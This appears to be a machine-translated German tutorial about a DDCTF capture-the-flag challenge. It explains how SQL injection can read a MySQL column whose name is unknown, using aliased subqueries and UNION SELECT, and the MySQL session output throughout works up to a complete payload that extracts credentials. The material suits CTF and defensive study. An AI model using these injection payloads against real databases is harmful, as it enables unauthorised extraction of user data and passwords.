Heim >Datenbank >MySQL-Tutorial >Ausführliche Erklärung, wie MySQL unbekannte Feldnamen umgeht
Dieser Artikel stellt Ihnen hauptsächlich die relevanten Informationen vor, wie MySQL unbekannte Feldnamen geschickt umgehen kann. Der Artikel bietet einen gewissen Referenz- und Lernwert für Freunde, die ihn benötigen Folgen Werfen wir einen Blick darauf, ich hoffe, es kann allen helfen.
Vorwort
Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zur Umgehung unbekannter Feldnamen. Die Idee ist großartig und klar Werfen wir einen Blick auf die ausführliche Einführung:
Implementierungsideen
Die Frage filtert Leerzeichen und Kommas für Leerzeichen oder Klammern können direkt umgangen werden.
Der Feldname, in dem das Flag gespeichert ist, ist ebenfalls unbekannt. Der Feldname kann zu diesem Zeitpunkt nicht abgerufen werden. Der Vorgang lautet wie folgt:
Die Idee besteht darin, die Flagge abzurufen und sie unter dem Namen des bekannten Feldes erscheinen zu lassen >
Beispielcode:mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)Verwandte Empfehlungen:
Detaillierte Erklärung, wie man das langsame Abfrageprotokoll in MySQL aktiviert
Zehn Prinzipien der grundlegenden Anweisungsoptimierung in MySQL
Auf Linux-Server Ausführliche Erläuterung der MySQL-Remoteverbindungsmethode
Das obige ist der detaillierte Inhalt vonAusführliche Erklärung, wie MySQL unbekannte Feldnamen umgeht. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!